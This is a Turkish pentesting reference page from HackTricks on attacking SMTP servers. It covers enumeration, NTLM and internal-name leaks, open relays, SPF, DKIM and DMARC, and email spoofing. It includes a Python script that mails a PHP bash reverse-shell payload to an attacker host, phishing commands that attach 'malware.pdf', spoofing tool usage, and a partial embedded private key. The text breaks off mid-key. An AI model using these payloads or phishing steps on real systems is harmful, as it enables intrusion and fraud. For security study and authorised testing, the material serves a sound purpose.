.. | ||
README.md | ||
smtp-commands.md |
25,465,587 - SMTP/s Pentest
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Hemen kullanılabilir zafiyet değerlendirme ve penetrasyon testi. 20'den fazla araç ve özellikle her yerden tam bir pentest çalıştırın. Bu araçlar ve modüller, pentesterlara daha derine inme, kabuk açma ve eğlenme zamanı kazandırmak için özel olarak geliştirilmiştir.
{% embed url="https://pentest-tools.com/" %}
Temel Bilgiler
Basit Posta Aktarım Protokolü (SMTP), e-posta gönderme ve alma için TCP/IP paketinde kullanılan bir protokoldür. Alıcının mesajları sıraya koyma konusundaki sınırlamaları nedeniyle, SMTP genellikle POP3 veya IMAP ile birlikte kullanılır. Bu ek protokoller, kullanıcıların mesajları bir sunucu posta kutusunda depolamalarına ve düzenli aralıklarla indirmelerine olanak tanır.
Uygulamada, e-posta programlarının genellikle e-posta göndermek için SMTP'yi, alım için ise POP3 veya IMAP'yi kullandığı yaygındır. Unix tabanlı sistemlerde, e-posta amaçları için en sık kullanılan SMTP sunucusu olarak sendmail öne çıkar. Sendmail olarak bilinen ticari paket, bir POP3 sunucusunu içerir. Ayrıca, Microsoft Exchange bir SMTP sunucusu sağlar ve POP3 desteği eklemek için seçenek sunar.
Varsayılan port: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
E-POSTA Başlıkları
Eğer kurbanın size bir e-posta göndermesini sağlama fırsatınız varsa (örneğin web sayfasının iletişim formu aracılığıyla), bunu yapın çünkü e-posta başlıklarını görerek kurbanın iç ağ yapısı hakkında bilgi edinebilirsiniz.
Ayrıca, bir SMTP sunucusundan bir e-posta alabilirsiniz, çünkü sunucu size bir NDN (tanımlanmamış kullanıcı) e-posta gönderecektir. Ancak, e-postayı izin verilen bir adresten gönderdiğinizden (SPF politikasını kontrol edin) ve NDN mesajlarını alabileceğinizden emin olun.
Ayrıca, farklı içerikler göndermeyi denemelisiniz çünkü başlıklarda daha ilginç bilgiler bulabilirsiniz. Örneğin: X-Virus-Scanned: by av.domain.com
EICAR test dosyasını göndermelisiniz.
Antivirüs (AV) tespit etmek, bilinen güvenlik açıklarını sömürmenize olanak sağlayabilir.
Temel eylemler
Banner Yakalama/Temel bağlantı
SMTP:
nc -vn <IP> 25
SMTPS (Secure SMTP) is a method of securing the Simple Mail Transfer Protocol (SMTP) communication. It uses Transport Layer Security (TLS) or Secure Sockets Layer (SSL) to encrypt the data transmitted between the email client and the mail server.
SMTPS operates on port 465 and requires a valid SSL/TLS certificate to establish a secure connection. This ensures that the email content and login credentials are protected from eavesdropping and tampering.
To pentest SMTPS, you can use tools like Nmap to scan for open ports and identify the SMTPS service. Once identified, you can perform various tests and attacks to assess the security of the SMTPS implementation.
Some common techniques for SMTPS pentesting include:
-
Banner Grabbing: Retrieve the SMTPS banner to gather information about the server software and version.
-
User Enumeration: Enumerate valid email addresses by sending RCPT TO commands and analyzing the server responses.
-
Brute-Force Attacks: Attempt to guess valid usernames and passwords by systematically trying different combinations.
-
SMTP Command Injection: Exploit vulnerabilities in the SMTPS server by injecting malicious commands to execute arbitrary code or gain unauthorized access.
-
Email Spoofing: Forge the sender's email address to send emails that appear to come from a trusted source.
-
Email Relay: Exploit misconfigured SMTPS servers to relay emails through them, potentially leading to spamming or phishing attacks.
Remember to always obtain proper authorization before conducting any pentesting activities. Unauthorized access to email systems is illegal and unethical.
openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587
Bir kuruluşun MX sunucularını bulma
Bir kuruluşun MX (Mail Exchange) sunucularını bulmak, SMTP (Simple Mail Transfer Protocol) hedeflerini belirlemek için önemli bir adımdır. Bu adım, e-posta hedeflerini belirlemek ve e-posta tabanlı saldırılar gerçekleştirmek için kullanılabilir.
Bir kuruluşun MX sunucularını bulmak için aşağıdaki adımları izleyebilirsiniz:
- DNS sorgulaması yapmak için
nslookup
veyadig
gibi bir araç kullanın. - Hedef kuruluşun alan adını belirleyin.
- Belirlenen alan adı için MX kayıtlarını sorgulayın.
- MX kayıtlarını analiz edin ve hedef kuruluşun MX sunucularını belirleyin.
Örnek bir nslookup
komutu kullanarak MX sunucularını bulma:
nslookup -type=mx example.com
Bu komut, example.com
alan adı için MX kayıtlarını sorgular ve MX sunucularının listesini döndürür.
Alternatif olarak, dig
komutunu kullanarak da MX sunucularını bulabilirsiniz:
dig example.com MX
Bu komut da aynı şekilde MX kayıtlarını sorgular ve MX sunucularının listesini gösterir.
MX sunucularını bulduktan sonra, bu bilgileri e-posta tabanlı saldırılar gerçekleştirmek veya e-posta güvenliği testleri yapmak için kullanabilirsiniz.
dig +short mx google.com
Saptama
SMTP sunucusunu hedefleyen bir saptama süreci, aşağıdaki adımları içerebilir:
-
Port Taraması: SMTP sunucusunun çalıştığı portu belirlemek için bir port taraması yapın. SMTP genellikle TCP 25 portunda çalışır.
-
Banner Grabbing: SMTP sunucusunun banner'ını almak için bir bağlantı açın. Banner, sunucunun kimliği ve sürümü gibi bilgileri içerebilir.
-
SMTP VRFY Komutu: SMTP sunucusunda kullanıcı adlarını doğrulamak için VRFY komutunu kullanın. Bu, geçerli kullanıcı adlarını belirlemek için kullanılabilir.
-
SMTP EXPN Komutu: SMTP sunucusunda posta listelerini genişletmek için EXPN komutunu kullanın. Bu, posta listelerinin veya dağıtım listelerinin adlarını elde etmek için kullanılabilir.
-
SMTP RCPT TO Komutu: SMTP sunucusunda geçerli bir alıcı adresi belirlemek için RCPT TO komutunu kullanın. Bu, hedef e-posta adreslerini belirlemek için kullanılabilir.
-
SMTP MAIL FROM Komutu: SMTP sunucusunda geçerli bir gönderen adresi belirlemek için MAIL FROM komutunu kullanın. Bu, hedef e-posta adreslerini belirlemek için kullanılabilir.
-
SMTP EHLO Komutu: SMTP sunucusuyla etkileşimde bulunmak için EHLO komutunu kullanın. Bu, sunucunun desteklediği özellikleri ve genişletmeleri belirlemek için kullanılabilir.
-
SMTP STARTTLS Komutu: SMTP sunucusu TLS şifrelemesini destekliyorsa, STARTTLS komutunu kullanarak güvenli bir bağlantı kurun.
-
SMTP AUTH Komutu: SMTP sunucusu kimlik doğrulama gerektiriyorsa, AUTH komutunu kullanarak kimlik doğrulama yöntemlerini belirleyin.
-
SMTP Relay Kontrolü: SMTP sunucusunun açık bir relay sunucusu olup olmadığını kontrol edin. Açık bir relay sunucusu, yetkisiz kullanıcıların sunucuyu spam göndermek için kullanmasına izin verir.
-
SMTP Güvenlik Zayıflıkları: SMTP sunucusunda güvenlik zayıflıklarını araştırın ve istismar etmek için uygun araçları kullanın. Örneğin, zayıf kimlik doğrulama yöntemleri, zayıf şifreler veya güncel olmayan yazılım sürümleri gibi zayıflıklar olabilir.
-
SMTP User Enumeration: SMTP sunucusunda kullanıcı adlarını belirlemek için farklı teknikleri kullanın. Örneğin, hedef e-posta adreslerine gönderilen yanıtları analiz edebilir veya hedef e-posta adreslerine sahip kullanıcıları hedefleyen bir saldırı gerçekleştirebilirsiniz.
Bu adımlar, SMTP sunucusunu hedefleyen bir saptama sürecinin temelini oluşturur. Bu adımları takip ederek, hedef SMTP sunucusu hakkında daha fazla bilgi edinebilir ve potansiyel zayıflıkları tespit edebilirsiniz.
nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
NTLM Auth - Bilgi sızdırma
Sunucu NTLM kimlik doğrulamasını destekliyorsa (Windows), hassas bilgileri (sürümler) elde edebilirsiniz. Daha fazla bilgi için buraya bakın.
root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
Veya bunu nmap eklentisi smtp-ntlm-info.nse
ile otomatikleştirin.
İç sunucu adı - Bilgi sızdırma
Bazı SMTP sunucuları, "MAIL FROM" komutu tam bir adres olmadan gönderenin adresini otomatik olarak tamamlar ve iç adını ifşa eder:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Paketlerden 25 numaralı porta ait bazı şifreleri alıp almadığınızı kontrol edin.
Kimlik doğrulama bruteforce
Kullanıcı Adı Bruteforce Numaralandırma
Kimlik doğrulama her zaman gerekli değildir
RCPT TO
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok
VRFY
VRFY (Verify) komutu, SMTP (Simple Mail Transfer Protocol) sunucusunda belirli bir kullanıcı adının geçerli olup olmadığını doğrulamak için kullanılır. Bu komut, bir saldırganın hedef sistemdeki kullanıcı adlarını keşfetmesine yardımcı olabilir.
VRFY komutunu kullanarak, saldırgan bir kullanıcı adını doğrulayabilir ve böylece hedef sistemdeki kullanıcı hesaplarının listesini elde edebilir. Bu bilgi, saldırganın hedef sistemdeki zayıf veya yaygın kullanılan kullanıcı adları hakkında bilgi sahibi olmasını sağlar ve daha fazla saldırı vektörü oluşturabilir.
Saldırganlar, VRFY komutunu kullanarak hedef sistemdeki kullanıcı adlarını keşfetmek için otomatik araçlar kullanabilir. Bu nedenle, SMTP sunucularının VRFY komutunu devre dışı bırakması veya kullanıcı adı doğrulama işlemini sınırlaması önemlidir. Bu, saldırganların kullanıcı adı keşfi saldırılarını engelleyebilir ve hedef sistemdeki kullanıcı hesaplarının güvenliğini artırabilir.
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown
EXPN
SMTP sunucusunda bulunan EXPN komutu, bir e-posta adresinin gerçek kullanıcı adını ortaya çıkarmak için kullanılır. Bu komut, SMTP sunucusunun adres defterini açığa çıkarabilir ve saldırganlara hedef sistemdeki kullanıcı hesaplarını belirleme imkanı sağlar.
Bu komut, bir saldırganın hedef sistemdeki kullanıcı adlarını toplamasına yardımcı olabilir ve daha sonra bu bilgileri başka saldırılar için kullanabilir. Bu nedenle, SMTP sunucusunda EXPN komutunun devre dışı bırakılması önemlidir.
EXP komutu, aşağıdaki şekilde kullanılır:
EXPN <e-posta adresi>
SMTP sunucusu, e-posta adresinin gerçek kullanıcı adını yanıt olarak döndürecektir. Bu bilgi, saldırganın hedef sistemdeki kullanıcı hesaplarını belirlemesine yardımcı olabilir.
EXP komutunun devre dışı bırakılması için aşağıdaki adımlar izlenebilir:
- SMTP sunucusuna yönetici erişimi sağlayın.
- SMTP sunucusunun yapılandırma dosyasını açın.
- EXPN komutunu devre dışı bırakmak için ilgili yapılandırma ayarını değiştirin.
- Yapılandırma dosyasını kaydedin ve SMTP sunucusunu yeniden başlatın.
Bu adımlar, EXPN komutunu devre dışı bırakarak hedef sistemdeki kullanıcı hesaplarının gizliliğini korumaya yardımcı olacaktır.
$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost
Otomatik araçlar
There are several automatic tools available for SMTP pentesting that can help in identifying vulnerabilities and conducting attacks. These tools automate the process and make it easier for pentesters to assess the security of SMTP servers. Some popular automatic tools for SMTP pentesting include:
- Nmap: A powerful network scanning tool that can be used to discover open SMTP ports and identify potential vulnerabilities.
- Metasploit: A widely-used penetration testing framework that includes modules for SMTP exploitation.
- OpenVAS: An open-source vulnerability scanner that can be used to scan SMTP servers for known vulnerabilities.
- SMTP User Enumeration: A tool specifically designed for enumerating valid users on an SMTP server.
- SMTPTester: A Python-based tool that can be used to test the security of SMTP servers by sending various types of email messages.
These tools can save time and effort for pentesters by automating the process of identifying vulnerabilities and conducting attacks on SMTP servers. However, it is important to use them responsibly and with proper authorization to avoid any legal issues.
Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>
Hemen kullanılabilir bir zafiyet değerlendirme ve penetrasyon testi kurulumu. Keşiften raporlamaya kadar olan 20'den fazla araç ve özellikle herhangi bir yerden tam bir pentest çalıştırın. Pentesterları değiştirmiyoruz - özel araçlar, tespit ve istismar modülleri geliştiriyoruz, böylece daha derine inmek, kabukları patlatmak ve eğlenmek için zaman kazanıyorlar.
{% embed url="https://pentest-tools.com/" %}
DSN Raporları
Teslim Durumu Bildirimi Raporları: Bir e-postayı bir kuruluşa geçersiz bir adrese gönderirseniz, kuruluş size geri dönerek adresin geçersiz olduğunu bildirir. Geri dönen e-postanın başlıkları, raporlarla etkileşimde bulunan posta hizmetlerinin IP adresi veya antivirüs yazılımı bilgisi gibi olası hassas bilgileri içerecektir.
Komutlar
Linux konsolundan E-posta Gönderme
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
Python ile E-posta Gönderme
Python, SMTP (Simple Mail Transfer Protocol) protokolünü kullanarak e-posta göndermek için kullanılabilir. SMTP, e-posta sunucusu ile iletişim kurmak için kullanılan bir iletişim protokolüdür. Aşağıda, Python kullanarak nasıl e-posta gönderebileceğinizi gösteren bir örnek bulunmaktadır:
import smtplib
from email.mime.text import MIMEText
def send_email(sender, receiver, subject, message):
# E-posta içeriğini oluşturma
msg = MIMEText(message)
msg['Subject'] = subject
msg['From'] = sender
msg['To'] = receiver
# SMTP sunucusuna bağlanma
server = smtplib.SMTP('smtp.example.com', 587)
server.starttls()
server.login('username', 'password')
# E-postayı gönderme
server.sendmail(sender, receiver, msg.as_string())
server.quit()
# E-posta gönderme işlemini çağırma
send_email('sender@example.com', 'receiver@example.com', 'Test Email', 'Bu bir test e-postasıdır.')
Yukarıdaki örnekte, send_email
fonksiyonu, gönderen, alıcı, konu ve mesaj parametrelerini alır. MIMEText
sınıfı kullanılarak e-posta içeriği oluşturulur ve gerekli başlık alanları ayarlanır. Ardından, SMTP sunucusuna bağlanılır ve kimlik doğrulama yapılır. Son olarak, sendmail
yöntemi kullanılarak e-posta gönderilir.
Bu örnek, Python kullanarak e-posta göndermek için temel bir şablondur. Gerçek bir senaryoda, SMTP sunucusunun doğru yapılandırıldığından ve kimlik doğrulama bilgilerinin güvenli bir şekilde saklandığından emin olmanız gerekmektedir.
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys
lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587
# create message object instance
msg = MIMEMultipart()
# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"
# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))
print("[*] Payload is generated : %s" % message)
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)
if server.noop()[0] != 250:
print("[-]Connection Error")
exit()
server.starttls()
# Uncomment if log-in with authencation
# server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
print("[***]successfully sent email to %s:" % (msg['To']))
E-posta Sahteciliği Karşı Önlemler
Kuruluşlar, SMTP mesajlarının sahtelenmesinin kolaylığı nedeniyle SPF, DKIM ve DMARC kullanarak yetkisiz e-postaların kendi adlarına gönderilmesini engellerler.
Bu önlemlerin tam bir kılavuzu https://seanthegeek.net/459/demystifying-dmarc/ adresinde bulunabilir.
SPF
{% hint style="danger" %}
SPF 2014 yılında "kullanımdan kaldırıldı". Bu, _spf.domain.com
yerine domain.com
'da aynı sözdizimini kullanarak TXT kaydı oluşturmanız gerektiği anlamına gelir.
Ayrıca, önceki SPF kayıtlarını yeniden kullanmak için "v=spf1 include:_spf.google.com ~all"
gibi bir şey bulmak oldukça yaygındır.
{% endhint %}
Gönderen Politika Çerçevesi (SPF), E-posta Aktarım Ajanlarının (MTA'lar) yetkilendirilmiş posta sunucularının bir listesini sorgulayarak bir e-postayı gönderen bir ana bilgisayarın yetkilendirilip yetkilendirilmediğini doğrulamasını sağlayan bir mekanizmadır. Bu liste, IP adresleri/aralıkları, alan adları ve diğer varlıkların bir alan adı adına e-posta göndermeye yetkili olduğunu belirten SPF kaydında çeşitli "Mekanizmalar" içerir.
Mekanizmalar
Wikipedia'dan alınan bilgilere göre:
Mekanizma | Açıklama |
---|---|
ALL | Her zaman eşleşir; önceki mekanizmalar tarafından eşleşmeyen tüm IP'ler için -all gibi bir varsayılan sonuç için kullanılır. |
A | Eğer alan adının bir adres kaydı (A veya AAAA) gönderenin adresine çözümlenebilirse, eşleşir. |
IP4 | Gönderen, belirli bir IPv4 adres aralığında ise eşleşir. |
IP6 | Gönderen, belirli bir IPv6 adres aralığında ise eşleşir. |
MX | Eğer alan adının gönderenin adresine çözümlenen bir MX kaydı varsa, eşleşir (yani posta, alanın gelen posta sunucularından birinden gelir). |
PTR | İstemcinin adresi için (PTR kaydı) belirtilen etki alanı ve bu etki alanı adı istemcinin adresine çözümlenirse (ileri doğrulanan ters DNS), eşleşir. Bu mekanizma önerilmez ve mümkünse kaçınılmalıdır. |
EXISTS | Belirtilen etki alanı adı herhangi bir adrese çözümlenirse, eşleşir (çözümlenen adresin önemi yoktur). Bu nadiren kullanılır. SPF makro dilinin yanı sıra DNSBL sorguları gibi daha karmaşık eşleşmeler sunar. |
INCLUDE | Başka bir etki alanının politikasına başvurur. Bu mekanizmanın geçmesi için o etki alanının politikasının geçmesi gerekir. Ancak, dahil edilen politika başarısız olursa, işleme devam eder. Başka bir etki alanının politikasına tamamen devretmek için yönlendirme uzantısı kullanılmalıdır. |
REDIRECT | Yönlendirme, başka bir etki alanı adını işaret eden bir işaretçidir ve aynı SPF politikasını paylaşan birden fazla etki alanına izin verir. Büyük miktarda etki alanıyla çalışırken faydalıdır. Yönlendirme Mekanizmasında belirtilen etki alanının SPF politikası kullanılacaktır. |
Ayrıca, bir mekanizma eşleştiğinde ne yapılması gerektiğini belirten Nitelendiricileri tanımlamak da mümkündür. Varsayılan olarak, nitelendirici "+" kullanılır (bu nedenle herhangi bir mekanizma eşleşirse, izin verildiği anlamına gelir).
Genellikle her SPF politikasının sonunda şu gibi bir şey göreceksiniz: ~all veya -all. Bu, gönderenin herhangi bir SPF politikasına uymadığı durumda e-postayı güvenilmez olarak etiketlemeniz (~) veya e-postayı reddetmeniz (-) gerektiğini belirtmek için kullanılır.
Nitelendiriciler
Politika içindeki her mekanizma, amaçlanan sonucu tanımlamak için dört nitelendiriciden biriyle başlayabilir:
+
: Geçerli sonuca karşılık gelir. Varsayılan olarak, mekanizmalar bu nitelendiriciyi varsayar, bu nedenle+mx
,mx
ile eşdeğerdir.?
: NÖTR sonucunu temsil eder, özel bir politika olmadığı gibi benzer şekilde işlenir.~
: SOFTFAIL'i belirtir, NÖTR ve BAŞARISIZ arasında bir orta nokta olarak hizmet eder. Bu sonucu karşılayan e-postalar genellikle kabul edilir, ancak buna göre işaretlenir.-
: BAŞARISIZ olduğunu belirtir, e-postanın kesinlikle reddedilmesi gerektiğini önerir.
Aşağıdaki örnekte, google.com'un SPF politikası gösterilmektedir. İlk SPF politikasında farklı etki alanlarından SPF politikalarının dahil edildiğine dikkat edin:
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Geleneksel olarak, doğru/bir SPF kaydı olmayan herhangi bir alan adını taklit etmek mümkündü. Günümüzde, geçerli bir SPF kaydı olmayan bir alan adından gelen e-postalar muhtemelen otomatik olarak reddedilecek/şüpheli olarak işaretlenecektir.
Bir alan adının SPF'sini kontrol etmek için https://www.kitterman.com/spf/validate.html gibi çevrimiçi araçlar kullanabilirsiniz.
DKIM (DomainKeys Identified Mail)
DKIM, çıkış e-postalarını imzalamak için kullanılır ve bunların DNS'den alan adının genel anahtarının alınmasıyla harici Posta Aktarım Ajanları (MTA'lar) tarafından doğrulanmasını sağlar. Bu genel anahtar, bir alan adının TXT kaydında bulunur. Bu anahtara erişmek için, seçici ve alan adının bilinmesi gerekir.
Örneğin, anahtarı istemek için alan adı ve seçici önemlidir. Bunlar, posta başlığındaki DKIM-Signature
bölümünde bulunabilir, örneğin d=gmail.com;s=20120113
.
Bu bilgileri almak için bir komut şu şekilde olabilir:
dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC, SPF ve DKIM protokollerine dayanarak e-posta güvenliğini artırır. Belirli bir alan adından gelen e-postaların işlenmesiyle ilgili politikaları belirler, kimlik doğrulama hatalarıyla nasıl başa çıkılacağını ve e-posta işleme eylemleri hakkında raporların nereye gönderileceğini belirtir.
DMARC kaydını elde etmek için _dmarc alt alanını sorgulamanız gerekmektedir.
# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
DMARC etiketleri
Etiket Adı | Amaç | Örnek |
---|---|---|
v | Protokol sürümü | v=DMARC1 |
pct | Filtrelemeye tabi tutulan iletilerin yüzdesi | pct=20 |
ruf | Adli raporlama URI'si | ruf=mailto:authfail@example.com |
rua | Toplu raporlama URI'si | rua=mailto:aggrep@example.com |
p | Kuruluş alanı için politika | p=quarantine |
sp | OD'nin alt alanları için politika | sp=reject |
adkim | DKIM için hizalama modu | adkim=s |
aspf | SPF için hizalama modu | aspf=r |
Alt Alanlar Hakkında Ne Düşünüyorsunuz?
Buradan buradan.
Göndermek istediğiniz her alt alan için ayrı SPF kayıtlarına sahip olmanız gerekmektedir.
Aşağıdaki bilgi, aslında bu tür bir şey için harika bir kaynak olan openspf.org'da yayınlanmıştır.
Şeytan Sorusu: Peki alt alanlar ne olacak?
Eğer pielovers.demon.co.uk'dan bir e-posta alırsam ve pielovers için SPF verisi yoksa, geriye gidip demon.co.uk için SPF'yi test etmeli miyim? Hayır. Demon'daki her alt alan farklı bir müşteridir ve her müşterinin kendi politikası olabilir. Demon'un politikasının varsayılan olarak tüm müşterilere uygulanması mantıklı olmaz; eğer Demon bunu yapmak istiyorsa, her alt alan için SPF kayıtları oluşturabilir.
Bu nedenle SPF yayıncılarına verilen tavsiye şudur: her A veya MX kaydı olan alt alan veya ana bilgisayar için bir SPF kaydı eklemelisiniz.
Yıldızlı A veya MX kayıtlarına sahip siteler, aşağıdaki gibi bir yıldızlı SPF kaydına da sahip olmalıdır: * IN TXT "v=spf1 -all"
Bu mantıklıdır - bir alt alan çok iyi farklı bir coğrafi konumda olabilir ve çok farklı bir SPF tanımına sahip olabilir.
Açık Röle
E-postalar gönderildiğinde, onların spam olarak işaretlenmemesini sağlamak önemlidir. Bu genellikle alıcı tarafından güvenilen bir röle sunucusunun kullanılmasıyla sağlanır. Bununla birlikte, yöneticilerin hangi IP aralıklarının güvenli olduğunu tam olarak bilmediği bir yaygın sorun vardır. Bu anlayış eksikliği, SMTP sunucusunun kurulumunda hatalara yol açabilir ve bu, güvenlik değerlendirmelerinde sıkça tespit edilen bir risktir.
Bazı yöneticilerin, özellikle potansiyel veya devam eden müşterilerle iletişim konusunda e-posta teslim sorunlarını önlemek için kullandığı bir çözüm, herhangi bir IP adresinden gelen bağlantılara izin vermektir. Bu, SMTP sunucusunun mynetworks
parametresini tüm IP adreslerini kabul edecek şekilde yapılandırmak suretiyle yapılır. Aşağıda gösterildiği gibi:
mynetworks = 0.0.0.0/0
Bir posta sunucusunun açık bir iletim noktası olup olmadığını kontrol etmek için (yani, herhangi bir harici kaynaktan e-posta iletebileceği anlamına gelir), genellikle nmap
aracı kullanılır. Bu testi yapmak için özel olarak tasarlanmış bir betik içerir. Örneğin, nmap
kullanarak 10.10.10.10 IP adresine ve 25 numaralı porta sahip bir sunucuda ayrıntılı bir tarama yapmak için kullanılan komut:
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
Araçlar
- https://github.com/serain/mailspoof SPF ve DMARC yanlış yapılandırmalarını kontrol etmek için
- https://pypi.org/project/checkdmarc/ SPF ve DMARC yapılandırmalarını otomatik olarak almak için
Sahte E-posta Gönderme
Ya da bir araç kullanabilirsiniz:
# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
{% hint style="warning" %}
Eğer dkim python kütüphanesini kullanırken anahtarı ayrıştırırken herhangi bir hata alırsanız, aşağıdaki anahtarı kullanmaktan çekinmeyin.
NOT: Bu, openssl özel anahtarının bir nedenle dkim tarafından ayrıştırılamadığı durumlarda hızlı kontrol yapmak için yapılan geçici bir düzeltmedir.
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
